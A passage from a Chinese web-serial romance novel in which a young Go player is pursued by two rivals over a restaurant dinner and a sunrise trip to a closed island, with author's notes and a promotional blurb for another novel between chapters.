这样的情感不会被岁月磨平,它像是一颗被细心藏在心底的种子,哪怕隔着十年,二十年,也不会停止生长。 他守着这份念想,度过了这七年,更别说午夜梦回,半梦半醒间,他总像突然被拉回年少的时光,眼前又浮现那个曾让他心跳加速的模样,连带着当时合影时的雀跃与悸动,清晰的仿佛就发生在昨天。 “你不懂。”崔文和撩了下长发,轻笑着,“你不会懂的。” 纪辰新静静的看着他,总觉得他眸中藏着不知名的情绪,令人看不透。 肚子不合时宜地传出“咕噜咕噜”声,纪辰新讪笑着开口道,“那个你吃饭没,要不然我请你吃饭吧?” 崔文和指尖轻轻捻着长发的末梢,抬眼看向他时,眼尾狭长弯出柔和的弧度,声音清润像是浸了蜜,“既然来了我的地盘,自然由我来请。” 他的话说的随意,却是不容拒绝的期待,手指悄悄收紧几分,眉眼间满是无害的笑容,温顺极了—— 作者有话说:昨天状态不好,就没更,抱歉了宝子们[抱抱] 崔文和会是一个情敌[捂脸偷看] 无良作者:苏陌,你老婆要被抢啦! 第53章 夜幕低垂, 城市褪去白日的喧嚣,却被更盛的灯火点燃,霓虹灯流转间带着斑驳的光彩, 主干道上车灯如炬,车流如织。 崔文和带纪辰新来到了一处富有江洲特色的饭馆,他侧目时眼底盛着浅浅笑意,声音轻软,“这儿的老板来自江洲。” “我经常来这吃饭,都是家乡的味道。” 纪辰新来了兴趣, 还挺期待的, “那看来味道很正宗呀。” “你等下尝尝就知道了。”崔文和找了个靠窗的桌子坐下, 墨色的长发随着他的动作轻扬。 纪辰新跟着坐到了他对面,街角的商铺橱窗亮着暖黄的光,天桥上, 行人举着手机记录夜景, 一切都显得自在又松弛。 饭馆里, 食客们欢声笑语, 好不热闹, 还能听到熟悉的江洲口音,莫名惹人亲切。 崔文和点了两三个特色菜后, 将菜单递给了纪辰新, “有什么想吃的, 别客气。” 纪辰新倒没跟他客气,就是怕吃不完,崔文和看穿了他的想法,嘴角噙着一抹浅笑,“吃不完, 咱们打包。” 那敢情好,纪辰新便又点了两个菜。 等菜的过程,俩人不免聊到这些年的近况,纪辰新基本避重就轻,离开的原因也只是说当时太匆忙,没来得及告知朋友,在他看来他与崔文和关系并没有好到可以全盘托出的地步。 崔文和听着他的话,也不知道信没信,抬手拨弄头发的动作随性又自然,指尖划过发梢时带着几分漫不经心,“你没有什么想问我的吗?” “额”纪辰新顿了下道,“你来帝都多久了?” 头顶风扇吹着,几缕发丝贴在了颊边,崔文和轻轻甩了下头发,一举一动没有刻意的模样,却让人移不开眼。 他笑着道,“大概三年前吧,也是那个时候签的奕星棋院。” 说到这,他朝纪辰新眨了眨眼,“怎么样,要不要加入我们奕星?” 纪辰新诚恳地摇了摇头,“不了,暂时没这个想法。” “为什么?以你的实力,在我们奕星一定会有一席之地的。”崔文和不解地抿了口水。 纪辰新还是摇头,笑了句,“你该不会是来当说客的吧,今晚这顿饭是鸿门宴?” “哈哈,怎么会,你不想来就不来咯。”崔文和不再追问他。 这时,服务员推着餐车走近,将他们点的五个菜,依次摆上了桌面。 热气裹挟着香气扑面而来,油亮的红烧鱼翘着尾鳍,酱汁还在微微颤动,金黄的炸物裹着细碎的葱花。 荤素搭配的菜肴摆满了桌面,清炒的时蔬清脆透亮,淋在表面的香油泛着微光,空气里满是勾人的烟火气。 纪辰新有点香迷糊了,攥紧了筷子就准备动筷。 崔文和打了个响指,细碎的光亮在他眼底,下颌线条柔和,连带着语调都浸了温软的风,“等一下,我想拍张照片可以吗?” 这当然没问题,纪辰新不由分说地点了点头,“当然,请便。” 崔文和握着手机凑近餐桌,打开摄像头,镜头看似稳稳对准了满桌菜肴,指尖却悄悄微调了角度。 屏幕里,盛着热汤的热气成了天然的前景,柔化了画面的边缘,里面的少年一无所知低头拨弄米饭,垂落的额发扫过眉骨,他的侧脸在暖黄的灯光下清俊又清晰。 崔文和勾着嘴角,连续拍了几张,却未惊动纪辰新分毫,他的目光始终粘在镜头里的少年身上,眼底闪过笑意,假意抱怨,“唉,这个角度好像不太好” 纪辰新茫然抬头,疑惑地望了过去,眼神懵懂,像是被惊扰的小鹿,他这副模样正好落在了对面的镜头里,连微张的唇角都透着无辜,这毫无防备的模样,比这满桌的饭菜更让人挪不开眼,更有味道! 轻微的咔嚓声,是崔文和又拍下了一张满意的照片。 拍完后,他忍不住欣赏了会儿,然后发了一条动态,配文,“秀色可餐。” 纪辰新还不知道自己的照片已经出现在了崔文和私人的社交账号上了。 当崔文和放下手机说可以吃了时,纪辰新便瞬间沉浸在了美食之中,他今天打了一天比赛,又应对了棋院理事长快一个小时,都饿的要前胸贴后背了。 吃饭中途,崔文和的手机不时发来叮咚的响声,朋友的点赞,评论,私聊全部吻了上来,他没理,安安静静陪着纪辰新吃饭,后面甚至怕打扰到纪辰新,直接将手机调整成了静音。 其中,赵言权的信息也淹没在了众多消息里。 这家伙刚训练完棋,看到崔文和空间动态的瞬间,还以为自己产生了幻觉。 他反复给崔文和发消息,【靠,你在和纪辰新吃饭?】 【真的假的啊,他怎么没和我说?】 【他不是说要过两天才到吗!!!】 见崔文和没回,他还拨了电话过去,结果依旧没接,可把他气坏了。 赵言权越想越不对劲,便给苏陌发了消息,直接截屏了崔文和那张动态。 【你看看,你看看,这人是不是纪辰新。】 【好家伙,都跟人吃上饭了,却骗我们还没到。】 【我跟你说他就是个骗子!】 赵言权狠狠打字,猝不及防对面一个电话过来,他想也不想就接通了,正要说点啥,下一秒便被苏陌打断。 苏陌语气没了往日的温和,只剩沉沉的急切,“他们在哪吃饭?” 赵言权懵逼的很,“我怎么知道,给崔文和发消息打电话,他都没回我。” “你把那张照片发我。”苏陌的声音压的很低,带着紧绷。 “啊?”赵言权虽然懵逼,却还是照做了。 苏陌握着手机反复观看着那张照片,指节都泛了白,眉峰拧成了一道冷硬的弧度,花了近两三分钟的时间,终于在几个碗的边缘,拼凑出了这家店的名字。 随后,他二话不说便出了门。 其实,他早就知道纪辰新提前来了帝都,选拔赛的比赛时间,他也早在一个礼拜前就查了个清清楚楚,这两天没有戳穿纪辰新,也是秉着尊重他的想法,遂他的意罢了。 也就赵言权那个傻子,真的信纪辰新说的,什么过两天才到。 难道七年前的教训还没吃够吗? 纪辰新的话只能听听,信誉程度有待商榷,具体要看他怎么做,不然又跑一次,上哪找人去? 这还是他当初在纪辰新的隔壁邻居肖椿那儿,得来的经验。 那时候肖椿苦着脸,跟他抱怨,“他就是个骗子,明明说好了第二天早上一起去上学的,结果他一声不吭就搬走了,你说气不气人?” “他以前还说让我给他补一辈子课的谁能想到到后来,成绩比我都好了,你说说他是不是偷偷学习了?” “还有,还有,他口口声声说不会下棋的,突然有一天就打败了我们所有人,他真的太会骗人了,死装死装的,偷练棋就偷练棋嘛,又不是什么丢脸的事,你说对不对?” “以后要是再见到他,千万要留个心眼,一定不要被他迷惑了。” 司机在驾驶位开车,苏陌坐在车上,回想着肖椿说的这些话,一时间深有同感,更摸不清的是,不知道纪辰新是否还骗了他们什么。 * 纪辰新大快朵颐时,猛然接到了电话,他放下筷子看到是赵言权的来电,微微挑了下眉,随后接通了。 “喂?” 赵言权控制不住地酸溜溜道,“啧啧啧,某人啊,来了帝都,偷偷摸摸的,组局吃饭也不叫我呢。” “啊?”纪辰新脑子转的快,下意识往四周看去,没见到人,疑惑道,“你说什么呢?” “你觉得呢?”赵言权将那张照片发了过去,“还想狡辩?这可是实证!” 纪辰新看着照片愣住了,他抬眼朝对面的崔文和望了过去,崔文和不明所以地偏了下头,“怎么了?” 电话里的赵言权不依不饶道,“亏我还想着,明天来火车站接你呢。” “啧,看来也没必要了。” “友尽了,感情淡了!” 纪辰新无奈地叹了口气,“我唉” 看到纪辰新为难的神色,崔文和凑近了,蹙眉道,“怎么了,谁啊?” 赵言权听到这微妙的声音,顿时想起什么,让纪辰新开免提,说是有点话要问候一下崔文和。 纪辰新抬眼又看了眼对面,“是赵言权,他有话要和你说。” 崔文和无所谓地接了过去,还没开口,就听到电话里破骂的声音。“崔文和你他爹的,老子给你发信息,打电话,你回都不带回的是吧?” “你发的那是什么动态,你他妈别打我兄弟的主意听到没!” 崔文和在他开骂第一句时,就将免提关了,他下意识看了对面的纪辰新一眼,斟酌道,“你丫的给我好好说话,不该说的,别乱说!” 赵言权才不听他的,“你管我?老子就说,我还要大说特说,告诉纪辰新离你远点!” 崔文和眯了眯眼,“你告诉他又怎么样,老子什么时候做过出格的事,你有证据吗?” 一句话,就将电话对面的赵言权问的哑口无言。 他确实没证据,他也只是偶然才发现的,崔文和的电脑里居然存了好些关于两个男人之间的那种/片! 正常男人谁会看这个? 再加上,他还留个长发,更让人往那方面想了! 当时他发现时,崔文和倒是淡定的很,既不解释也不承认的,但却是实实在在的给赵言权留下了心理阴影。 哪有男的被误解为同,还能这么无所谓的? 那就只有一个解释,他分明就是! “你告诉我,你们在哪个店,我就不把你的事告诉纪辰新了。”赵言权跟他谈条件。 崔文和看着对面已经吃的差不多的纪辰新,微微笑了下,反正他们也要走了,告诉他也没关系。 挂掉电话后,他将手机还给了纪辰新,“赵言权这个人小心眼,经常说我坏话,你最好别信。” 纪辰新不知道他们之间有什么纠葛,只觉得他俩的问候方式,特像仇人,有些摸不着头脑地收回了手机。 “你吃完了吗,我去结账。”崔文和抚了抚耳边的长发,笑着道。 纪辰新点头,随后从兜里掏出了钱来,“要不还是我请吧,或者一人一半,这顿一定不便宜。” 崔文和没给他拒绝的权力,他起身,朝他走过去,手极其自然地搭在了纪辰新肩膀上,居高临下道,“不可以哦,你这样,让我这个东道主的脸面何在?” 两人,一坐一立,一个仰头,一个低头,崔文和的长发垂在了纪辰新的眼前,带着点清香,他眼尾弯的软,呼吸清晰可见。 纪辰新被迫仰头望着他,只觉得两个人离的有些近了,下意识想要远离。 然而,这画面恰好撞进了刚下车,朝饭店走过来的苏陌眼里。 透明的窗户,俩人的举止看上去,带着似有若无的亲近与暧昧,苏陌不由自主地握紧了拳头,指甲都陷进了肉里,心里也仿佛有刺在扎,酸意顺着喉咙往上涌 他早已忘记自己跟纪辰新说的,嗓子坏了,还在休养的话,理智全无地冲进了饭店。 他的语气冷的让人不敢怠慢,连呼吸都透着股不容置疑的焦灼,开口间,每一个字,都像是裹着薄冰: “纪-辰-新!你们?在-干-嘛!”—— 作者有话说:哈哈,谁的醋坛子打翻了! 崔文和的出现会是主角感情的催化剂~ 大家要是不喜欢他,也没关系,他出现的次数不会太多的! 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第54章 一声‘纪辰新’, 势如破竹,字字都像重锤敲在了心上,仿佛一声急促的警钟, 令纪辰新立即回过神来,驱散了所有的恍惚。 他陡然朝声源处望过去,只见苏陌绷着一张脸,原本舒展的眉峰也拧了起来,他的唇瓣抿成一条僵硬的直线,好像很不悦。 不待他说什么, 苏陌便疾步走了过来, 脸色沉的像是要滴出水来, 随后伸手握住了纪辰新的手腕,将他轻轻扯到了身边,以一种不容僭越的姿态。 对面崔文和搭在纪辰新肩膀上的手, 由于没了支撑骤然掉了下来, 他望着面前不请自来的某人, 原本温顺的脸色, 微微变了, 眸中的笑意也一点一点褪去。 他的眉眼覆上一层冷霜,看着对面的苏陌道, “怎么?你也是来吃饭的?” 他的语气并不客气, 更没有问好的意思。 苏陌瞥了他一眼, 眸色依旧冷沉,“我来接纪辰新。” 说罢,他垂了垂眸,看向纪辰新,然而喉结滚动两下, 话到嘴边却软了半截,最终只化作一声无奈的轻叹,“走吧,帝都你又不熟,下次过来,别再瞒着我了。” 苏陌眼神里满是复杂情愫,纪辰新看不懂,对面的崔文和却看的分明。 崔文和狭长的眼眸微眯,原本就不悦的视线此刻竟有些锐利,他看出了俩人之间的熟络,一时选择了按捺不动,轻笑了声,“纪辰新,这里离你住的酒店不远,咱们散步就能走回去。” 纪辰新一直未说话,他一会儿看看苏陌,一会儿又看看崔文和,总感觉气氛有些奇怪。 但最令他好奇的是,苏陌的嗓子居然好了? 不是前两天还在发消息说,在喝中药调理吗? 怎么一点都听不出有任何损坏过的痕迹? “你的嗓子”纪辰新终于开口,他偏头指了指苏陌的脖颈处,“已经没事了?” 苏陌霎时怔了一瞬,意识到自己露馅,便咳了两下,他压低了声音“嗯”了一声,“差不多吧,那药还挺管用的。” “额那就多喝点,免得复发。”纪辰新关心道。 崔文和见自己被忽视,眼底仅存的暖意瞬间被寒意吞噬,周身的气压也降了下来,他垂下了眉眼,遮下眸中的不满,直直地从纪辰新和苏陌中间穿插了过去。 “麻烦让一下哦,我去买单。” 苏陌被崔文和硬生生撞开,抬眼便对上了来自崔文和挑衅的目光。 纪辰新听到崔文和要去买单,下意识便跟了过去,“还是我来买吧,本来也是我先饿了,才喊你一起吃饭的。” 崔文和长发轻扬,回头朝纪辰新眨了下眼,眼波流转间便改了主意,“你确定?你请的话,那便算我欠你一次,下次我再请回来。” 纪辰新懵了都,“哪要这么麻烦,欠来欠去的,这都封建糟粕,你下次不用再请了。” 崔文和摇了摇头,“你不懂,这样你来我往的才有意思,感情都是这样维系的。” 俩人说话的间隙,苏陌都没去收银台,直接在餐桌上丢下几百块钱,对着一旁的服务员说,“不用找了,这顿我请,多出来的给你当小费。” 服务员是个中年大妈,一脸高兴地将钱收了起来,忙不迭跑去了前台,“11号桌已经结账!” 11号桌? 怎么这么熟悉? 纪辰新陡然回头一看,淦!他们那桌不就是11号桌吗! 崔文和刚掏出钱,就听到这个噩耗,表情差点没绷住。 他缓缓挤出一个笑,对着前台道,“把钱还回去吧,这钱我来付。” 中年大妈站在前台边上,手上还攥着苏陌刚刚给他的近百元的小费,哪里肯就此归还,她一个劲地暗示前台。 前台也不是省油的灯,一下就看出来怎么回事了,这好处她也想吃一半,便磨磨蹭蹭的没动。 苏陌这时走了过来,露出一个极淡又冷的笑,对着崔文和道,“这顿算我请,你下次再请回来就是了,感情就得这样维系,不是吗?” 他用崔文和自己说出口的话回怼,一时令对方骑虎难下。 纪辰新也很莫名,他和崔文和吃饭,怎么变成苏陌付钱了? 苏陌像是预料到了纪辰新的想法,安抚道,“没事,下次他请我吃饭,你也来,咱们不白吃他的。” “啊?”纪辰新脑子嗡嗡的,不对劲,不对劲好绕的关系! 所以苏陌是帮他付的钱? 现在他和苏陌成为了一体? 纪辰新越想越不对,那这样的话,他是不是就欠了苏陌的? 那他要不要回请苏陌吃饭,还他呢? 崔文和嘴角一抽,止不住地想翻白眼,理智告诉他继续在这件事上纠结,就显得很不体面了。 也就在此时,不明就里的赵言权,一脸乐呵地走进了饭店,当他看到站在前台附近的三人时,眼睛一亮,“卧槽!都在啊,这么热闹!” 下一秒,他眼神直直落在了纪辰新身上,语气阴阳怪气,“纪辰新,好你个骗子!” 说着,他又控诉地瞥了眼苏陌,“靠,你怎么知道这的?我都没告诉你饭店的名字,真是有鬼了。” 完事,他又警惕地瞅了眼崔文和,仿佛他身上有什么脏东西一般,连忙将纪辰新拖出饭店,“啧啧啧,你别离他这么近!” 被人当面蛐蛐,崔文和这能忍? 他生怕赵言权说出什么不利他的话来,马不停蹄跟了出去,至于刚刚买单的事,顿时就被抛在了脑后 苏陌看着这场面,目光冷凝,淬了冰般落在崔文和的背影上,内心实在是不喜。 而街道上,被赵言权勾肩搭背的纪辰新完全状况外,“远离谁,你在说什么?” “赵言权,你不是说要跟我绝交吗,你现在几个意思?” 赵言权搂着他肩膀的手,僵了僵,嘴硬道,“有吗?哦,那是之前!” “那你刚刚还说我骗子?”纪辰新无语怼他。 一说这个,赵言权又有理了,“你本来就是,自己说过两天才到的,现在搁这吃饭,你真牛逼!” “”这个确实是纪辰新理亏,顿时也没反驳,便转移话题道,“你究竟要带我去哪,还有你刚刚想跟我说什么,远离谁?” 赵言权努了努嘴,不好如何开口,他又没证据,崔文和只要不打纪辰新的主意,他也不是不能睁一只眼闭一只眼的。 “额我是说” “你们去不去边岛看日出,我有票!”崔文和赶在赵言权开口之前,紧急追了上来,强势打断。 啊? 日出? 什么日出? 这是纪辰新一个人的疑问。 赵言权倒是猛地停了下来,又狐疑,又激动地瞅着身后的崔文和,“边岛的票,你有?” “对,要不要去看?”崔文和的长黑墨发在风中起舞,他呼吸有点喘,“那里虽然不对外开放,但是我能弄到内票。” “就凭你?”赵言权上下打量他,并不太相信,“少骗老子了。” 崔文和轻抚了下头发,神色恢复成了从容的模样,他的话笃定,“想去的话,你就安分点。” 他的意思明确,别在纪辰新面前乱说话。 赵言权本来也没想说什么,这下得了便宜,自然卖乖起来,“行啊,你要是能弄到内票,我就安分!” 苏陌定定站在崔文和身后,夜影勾勒出他挺拔的身形,声线冷淡,“边岛已经对外关闭,你哪来的票?” “等着吧。”崔文和没有半分迟疑地微抬了下巴,“我去打个电话。” 纪辰新看向旁边的赵言权,问道,“边岛的日出很好看?” 赵言权连连点头,“对,不过我之前也只在电视上看过,老子都没来得及亲自去瞧一眼就关闭了,可惜啊。” “这次,不管怎样,我都要看到!” 纪辰新:“为什么关闭?” “是产权争议。”苏陌解释道,“至今还没划分清楚。” 赵言权有些忐忑,“也不知道他到底能不能弄到票,要是能弄到,咱们一起去,那里的日出很美!” 崔文和这个电话打了五六分钟,过来时,说已经安排好了,直接过去就行。 “过去的路程差不多要三个小时,坐我的车过去吧。”苏陌开口便有了规划,“有司机开车。” 这点大家倒也没意见,毕竟省去了很多事。 但纪辰新总觉得很魔幻,他们四个说熟也不是特别熟的人,莫名其妙凑在了一起,冷不丁就去看日出了? 甚至还同坐一辆车! 他们看起来并不和谐,实际也很诡异,最明显的是,里面明明有人是相互看不顺眼的。 但这趟旅程竟没有一个人说不,真是神奇又无解。 * 路途遥远,纪辰新经过一天的比赛,昏昏欲睡,但他又不想错过赵言权口中的日出,亦或是破坏众人的雅兴,便选择了在车上休息,补觉。 苏陌安排了他独坐,让任何人都别打扰他。 赵言权则激动地搜起了攻略,根本不困。 崔文和的手机时不时弹出消息,但都被他静音了,他蹙着眉头,回复了几条后,神色不耐。 苏陌专注又认真地将身上的助眠香包解开,装进了盒子里,盖好后,他放在了离纪辰新很近的地方,这是一种无需燃烧的香料,既安全又令人心神宁静。 三个小时的车程,在晚上12点左右抵达。 到了后,有人专门来迎接,青年的脸没什么记忆点,眉眼间也没什么棱角,但是在他看见崔文和的瞬间,眼睛蓦地亮起,瞬间有了神采。 “棋公子,你终于到了,从你打电话起,我就一直在等着你了。” 青年见到崔文和满是喜悦与兴奋,“住宿都给你们安排好了,海景房。” “知道了,你已经给我发了一路的消息了。”崔文和抿着唇,有点不堪其扰的意思。 “哈哈,这不是太亢奋了吗,之前邀你这么多次,你都无动于衷的。”青年笑着道,还自顾自地给大家介绍,“你们好,我是棋公子的狂热粉丝。” “追了他两年那种!”狂热粉丝意识到自己说的话可能有歧义,补充道,“额,是那种追星的追,你们不要想多了。” “哈哈哈,知道知道。”赵言权一副了然的模样,意味深长的看了崔文和一眼。 崔文和无视他,侧过头问纪辰新,“你困了,就先去睡吧,明天早上四五点还要早起看日出。” 纪辰新揉揉眼,“嗯嗯,谢啦!” 狂热粉丝给四人一人安排了一个房间,全是面向大海的,路过时都能听到海水翻滚的声音,像无数双手在反复拍打大地。 纪辰新困到不行,到房间后,定了个闹钟,倒头便睡了。 另一边,崔文和到底是欠了人情,便满足了狂热粉的要求,又是签名,又是合影的,最后甚至陪着下了好几局棋! 赵言权倒没急着睡,他去四周逛了逛,然后嘴馋地买了几把烧烤打电话喊苏陌一起吃,却被苏陌以洗澡为由拒绝了,最后他一个人吃到了凌晨两点。 凌晨四点,闹钟准时在耳边炸开。 纪辰新紧蹙着眉,直接将脸埋进了枕头里,连指尖都懒得动,眼皮更像是粘了胶水,脑子里只剩下,“再睡五分钟”的执念。 五分钟后,他挣扎着翻了个身,手在床头柜摸了半天才按掉铃声,撑着胳膊坐了起来,脑袋昏沉得像灌了铅。 他晃了几下头,随后开了灯,去了洗手间,麻溜的冲了个澡! 四点半,他穿戴好狂热粉丝提前给他们准备好的衣服,吹干了头发,正准备出门,房门便被敲响了。 纪辰新愣了一下,外面传来苏陌的声音,“纪辰新,你醒了吗?” 苏陌? 纪辰新立即开了门,抬眼便见苏陌眼睛亮的像盛满了星子,整个人都透着股干净利落的清爽劲,看着比他有精神多了。 他邀请道,“走吧,五点左右,太阳就出来了。” 纪辰新原本还有点睡眼惺忪的,瞬间被他感染了,“好,对了,他们呢,醒了没?” 苏陌眸色微闪,眼皮都没眨一下,嘴角的笑意恰到好处,“叫不醒,睡太死了,先别管他们了,我们先去。” “我已经给他们发了消息,等下看到了会来的,走吧。” 他的语气太真实了,纪辰新没有丝毫怀疑地带上手机就跟他一起走了。 路上,纪辰新打开手机还发现,早在十五分钟前,苏陌便给他发了消息,问他醒了没。 这样看来,苏陌应该是每个房间都去敲了门,结果只有他醒了。 海景房距离海边,只有三四百米远,俩人花了不到十分钟就抵达了边岛观赏日出最佳的地点。 此刻天还蒙着层淡青,海面是墨蓝的,像块没被点亮的绸缎,浪花也轻的没声息,海风裹着海雾拂过来,给脸颊带来了凉丝丝的触感,甚至还往脖颈里钻,带着咸湿的潮气。 俩人都未说话,静静等待太阳出来,这一刻的默契,无与伦比。 不知过了多久,沙滩漫出几缕细碎的白边,东方海平线渐渐透出了第一丝橘红,海水慢慢褪去深暗,先是染了层薄纱似的粉,再随着那抹橘红渐浓。 纪辰新怔怔望着,目不转睛,海面开始泛着细碎的光,像是星河倒转,美丽极了。 原本轻缓的浪也似乎被唤醒,带着光的纹路一卷一卷的涌来,把海平线处的霞光都揉进了水里。 海风将晨起的倦意都吹散了,纪辰新终于忍不住,轻轻开口,“苏陌,你看到了吗,日出!” 他的声音随风飘散,稍不注意,便没了声息。 苏陌的目光无法自控地移到了身旁人的脸上,看着晨光落在他的发梢,染的那缕碎发都泛着暖金,他想说点什么,却又不忍打破这抹安稳的惬意。 而海浪在礁石上撞出的轰鸣,就如他抑制不住的心跳般,一下一下,像是要冲破他的胸腔,令人慌乱! 如果每一次的心跳起伏都是没说出口的欢喜,那他甘之如饴。 哪怕海风把心跳声吹的发颤,他也要带着这份欢喜,与他一直纠缠下去!—— 作者有话说:啦啦啦啦啦啦啦啦[狗头叼玫瑰] 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第55章 海平线冒起半轮金红的日头, 将天和海都烧的透亮,海水成了鎏金的河,每一道浪尖都裹着耀眼的光。 此时此刻, 天光大亮,纪辰新沉浸于美景良久,后知后觉意识到,他好像忘记了拍照录像。 “可惜了,他俩都没看到。”他语气惋惜。 “可能睡觉对他们来说更重要吧,我们回去吃早餐吧。”苏陌神色平静, 语气自然道。 说罢, 俩人便原路返回。 海景房的早餐供给是在上午的6点-9点, 纪辰新和苏陌一起吃完早餐后,便各自回了房间补觉。 八点左右,晨光已经漫过窗帘缝隙, 崔文和猛地从床上弹起, 过长的发丝凌乱的贴在颈间, 他连忙抓过枕边的手机, 屏幕上的时间让他倒吸了一口凉气, 日出早已过了时辰。 往日里慢条斯理整理衣领,打理他顺直长发的从容气质, 此刻淡然无存, 他踩着拖鞋踉跄着去了窗边, 拉开窗帘,映入眼帘的是早已亮透了的天。 他呆愣了两秒,立即翻开了手机的联系人,由于还没添加纪辰新的联系方式,便一通电话打给了赵言权。 然而, 另一边睡成个死猪的赵言权,没有丝毫要醒的意思,尽管手机铃声在不停地循环,但他依旧不动如山。 连续打了两三个电话都没人接之后,崔文和烦闷地抓了下头发,随后穿戴好衣服,去了隔壁敲门。 结果没想到的是,才敲没几下,赵言权没醒过来就算了,反倒是住对面的苏陌开了门。 苏陌回去补了一个多小时觉后,就没再睡了,现在听到外面的动静,便有意出来给人添点堵。 神采奕奕的少年兴致不错地立在门框处,竖起一根手指在嘴边轻“嘘”了一声,“你扰民了。” 崔文和有些气结的看着他,鬼使神差得想到什么,“你和纪辰新已经看完日出了?” 苏陌微挑眉,他半撑着门,指节分明,“嗯,我给你们发了消息,还敲了门的,结果你们没醒,这就没办法了。” 发了消息? 还敲了门? 崔文和顿时拧了眉头,敲没敲门,现在无法查证,但发了消息,他怎么没看到? “啊,我没你的联系方式,所以是给赵言权发的,让他转告一下你。”苏陌抬眼间睫毛在眼下投出浅淡的影,语气听不出半分波澜。 话落,他还微微颔首,神情一派清冷正经,“你别去打扰纪辰新,他才睡没多久。” 崔文和的长发垂落肩头,听完这番说辞,眉峰几不可察地蹙起,眼底飞快掠过一丝质疑,他心里的直觉像根细针,扎的他清明,苏陌的话半真半假,根本不可信! 他喉咙滚了滚压下翻涌的气闷,怪也只能怪自己睡过了头,要不是昨晚下棋下到两点半,他也不至于 早知道不睡了! 发梢遮住了他眼底的暗潮,这场藏在暗处的情敌交锋,第一局算他落了下风,但这才刚开始,他绝不会就这么认了。 再次望过去时,崔文和的目光里早已没了方才的滞涩,反倒多了点韧劲。 时间来到了上午十点,赵言权终于悠悠然转醒,他砸吧着嘴巴醒来时,神情一片迷茫。 头脑懵逼的他,好半天才想起要看日出的事,往窗边一看,半拉的窗帘,太阳明晃晃地正挂在天空,他大叫一声,“卧槽!” 他胡乱摸了一把头,连滚带爬地找了一圈手机,最后却在床下找到,也不知道什么时候被他踢下去的。 一打开手机,四点半苏陌发来的消息,问他醒了没,还有八点左右崔文和给他打来的几个电话。 他人都裂开了,“啊,我的日出错过了!” 赵言权哭丧着脸,洗漱了一番,才出门。 他刚走出门没一会儿,路过纪辰新房间时,发现外面门敞开着,他迟疑地喊了声,“纪辰新?” 纪辰新正在收拾昨晚换下的衣服,听到呼唤,应声道,“谁啊?” 话落,他便从房间走了出来,看到是赵言权后,惊叹到笑了,“天老爷啊,你终于醒了,你也太能睡了!” “你能想象,我看完日出回来你在睡觉,吃完早餐回来,你依旧在睡觉,等我补完觉出门,你居然还在睡觉的那种无力感吗?” “你昨晚干嘛去了,修仙啊?” 纪辰新连连吐槽,最后指了指房间桌上的牛奶和三明治,“我补完觉出来都九点了,发现你还睡着,就去提供早餐的地方给你拿了早餐,你饿不饿,吃点?” 赵言权崩溃地扑到了纪辰新身上,“兄弟,日出你看了没?” “嗯,看了。”- “是不是很好看?” “嗯,好看。”- “啊啊啊啊,我错过了,我无法接受啊!” “没事,不止你一个人。”- “啊?还有谁?” “崔文和!”- “那就好,心里好受多了。” “嗯,早餐还吃不吃?”- “吃,我要化悲愤为食欲!” * 中午时分,四人简单吃了午餐后,崔文和便提议下午回去,这一趟虽然狂热粉挺乐意招待的,但还是不好继续麻烦人家了,再加上晚上他有个活动要参加,耽搁不得。 赵言权依依不舍的不愿意走,因为他并没有亲眼看到心心念念的日出。 崔文和本来就对看日出没兴趣,昨晚提出来这一趟,都是缓兵之计,目的是让赵言权别乱说话,谨言慎行。 现在赵言权没看到日出,也只能怪他自己,反正他的承诺已经兑现了。 好在,那个狂热粉见赵言权对日出如此向往,便提出,再送他一张内票,不论他什么时候来都行。 这下,赵言权又开心了,兴高采烈地跟着大部队回去了。 车上,纪辰新正欣赏沿途风景,冷不丁接到了酒店打来的电话- “您好,请问,是纪辰新先生吗?” 纪辰新开了半窗吹风,额角的发丝迎风飞舞,他淡淡回复,“嗯,是的。”- “是这样,我们是XXX酒店,您的房间于今天下午两点到期,请问您是续住呢,还是办理退房?” 纪辰新愣了一下,想起了选拔赛的主办方给选手们定的酒店确实好像是今天到期,只不过他昨晚都没住。 他倒没想着立马回墨城,毕竟还答应了赵言权他们再玩几天,但续住这个酒店,对他来说还是有些贵的,他打算找一个性价比高的宾馆,住几天再回去墨城。 他看了眼手机上的时间,“办理退房吧,不过现在距离两点只剩半个小时了,我没办法赶回来,可以帮我把东西收一下,放前台吗,我大概四点左右过来拿。”- “好的,可以,那这边就给您办理退房了。” “嗯嗯,谢谢。” 电话挂断,车内静悄悄的。 